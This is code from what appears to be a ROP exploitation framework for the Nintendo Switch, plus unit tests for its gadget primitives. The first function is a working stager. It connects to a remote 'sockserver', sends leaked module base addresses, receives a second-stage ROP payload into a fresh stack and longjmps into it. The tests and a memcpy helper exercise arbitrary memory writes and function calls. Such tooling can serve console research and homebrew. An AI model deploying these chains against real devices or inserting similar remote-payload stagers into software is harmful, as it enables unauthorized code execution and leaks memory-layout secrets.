def initial_chain(self): """ This is the first chain executed on switch. Its purpose is to send initialization packet to sockserver. """ host = socket.inet_aton(self.host) port = socket.htons(self.port) rop = Rop() sock = rop.alloc(8) sockaddr = rop.awrite( "\x00\x02" + p16(port) + host + "\x00\x00\x00\x00\x00\x00\x00\x00" ) # we send the setup buffer to sockserv, which contains bases of modules and data rop.write64(data_base, data_base) rop.write64(main_base, data_base + 0x8) rop.write64(wk_base, data_base + 0x10) rop.call(F.socket, 2, 1, 0) rop.store_ret(sock) # also store socket fd to setup buffer rop.load_ret(sock) rop.store_ret(data_base + 0x100) rop.load_ret(sock) rop.call(F.connect, Ret, sockaddr, 16) rop.load_ret(sock) # okay now send setup buffer rop.call(F.send, Ret, data_base, 0x1000, 0) # at this point data_base is pointing at buffer+0x8000 # just read the rop payload to buffer+0x20000 new_stack = data_base + (0x20000 - 0x8000) + RPC_ROP_LOCALS # recv back the rop payload rop.load_ret(sock) rop.call(F.recv, Ret, new_stack, RPC_ROP_LEN, SWITCH_MSG_WAITALL) # flags=MSG_WAITALL # set up jmp_buf rop.write64(new_stack, data_base + 0xF8) # SP rop.write64(G.pop_x29_x30, data_base + 0x100) # X30 # jump into the new payload rop.call(F.longjmp, data_base) return rop
class Test(unittest.TestCase): def setUp(self): self.rop = Rop() def execute(self): # this must match test/main.c! reloc = { 1: 0x0100000000, # data 2: 0x0200000000, # main 3: 0x0300000000, # wk } binary = self.rop.generate_binary(reloc) tmp = tempfile.mkdtemp() rop_bin = os.path.join(tmp, "rop.bin") with open(rop_bin, "wb") as fout: fout.write(binary) os.chdir("test") try: with open(os.devnull, 'w') as devnull: output = subprocess.check_output( ["./run.sh", g_main_bin, g_wk_bin, rop_bin], stderr=devnull) except Exception as e: os.chdir("..") raise e os.chdir("..") self.memory = output shutil.rmtree(tmp) def test_write(self): """" Tests that the write64 gadget works """ self.rop.write64(0x1234567887654321, data + 0) self.rop.write64(0xDEADBEEF, data + 8) self.execute() self.assertEqual(u64(self.memory, 0), 0x1234567887654321) self.assertEqual(u64(self.memory, 8), 0xDEADBEEF) def test_func_call(self): """ Tests that chaining functions works, and arguments are passed properly """ self.rop.call(F.setjmp, data + 0, 0x1111111111, 0x2222222222, 0x3333333333, 0x4444444444) # setjmp self.rop.write64(0xDEAD, data + 0x50) self.rop.call(F.setjmp, data + 0x100, 0x8, 0x7, 0x6, 0x5) # setjmp self.execute() self.assertEqual(u64(self.memory, 0x8), 0x1111111111) self.assertEqual(u64(self.memory, 0x10), 0x2222222222) self.assertEqual(u64(self.memory, 0x18), 0x3333333333) self.assertEqual(u64(self.memory, 0x20), 0x4444444444) self.assertEqual(u64(self.memory, 0x50), 0xDEAD) self.assertEqual(u64(self.memory, 0x108), 0x8) self.assertEqual(u64(self.memory, 0x110), 0x7) self.assertEqual(u64(self.memory, 0x118), 0x6) self.assertEqual(u64(self.memory, 0x120), 0x5) def test_awrite(self): """ Tests that awrite works and is zero-terminated when needed """ mem1 = self.rop.awrite("such rop") # non zero-terminated mem2 = self.rop.awrites("much code exec..") mem3 = self.rop.awrite("x") mem4 = self.rop.awrite("y") mem_last = self.rop.awrite("\x00") self.execute() wrote = self.memory[mem1.imm:mem_last.imm] self.assertEqual( wrote, "such ropmuch code exec..\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00" ) def test_store_load_ret(self): """ Tests that store_ret and load_ret work """ self.rop.write64(0x8DEADB00B, data) self.rop.load_ret(data) self.rop.store_ret(data + 8) self.rop.load_ret(data + 8) self.rop.store_ret(data + 0x50) self.execute() self.assertEqual(u64(self.memory, 0), 0x8DEADB00B) self.assertEqual(u64(self.memory, 8), 0x8DEADB00B) self.assertEqual(u64(self.memory, 0x50), 0x8DEADB00B) def test_rv_call(self): """ Tests that x0 is forwarded properly """ off = 0x1230 self.rop.write64(data + off, data) self.rop.load_ret(data) self.rop.call(F.setjmp, Ret, 1, 2, 3, 4) self.execute() for x in range(1, 5): self.assertEqual(u64(self.memory, off + x * 8), x) def test_set_x8(self): """ Tests that setting X8 works """ self.rop.call(F.setjmp, data + 0, 2, 3, x8=0xB00BBABE) # setjmp self.execute() self.assertEqual(u64(self.memory, 1 * 8), 2) self.assertEqual(u64(self.memory, 2 * 8), 3) self.assertEqual(u64(self.memory, 8 * 8), 0xB00BBABE) def test_v8_call(self): """ Tests that calling with a lot of args works """ self.rop.call(F.setjmp, data + 0, 2, 3, 4, 5, 6, 7, 8) # setjmp self.execute() for x in range(1, 8): self.assertEqual(u64(self.memory, x * 8), x + 1) def test_dump_regs(self): """ Tests that dumping regs via setjmp works """ self.rop.call(G.ret, 1, 2, 3, 4, 5, 6, 7, 8) self.rop.dump_regs(data, and_store_r0=data + 0x400) self.execute() self.assertEqual(u64(self.memory, 0x400), 1) # r0 for x in range(1, 8): self.assertEqual(u64(self.memory, x * 8), x + 1)
def w(self, addr, data): rop = Rop() src = rop.awrite(data) rop.call(F.memcpy, addr, src, len(data)) self.execute(rop)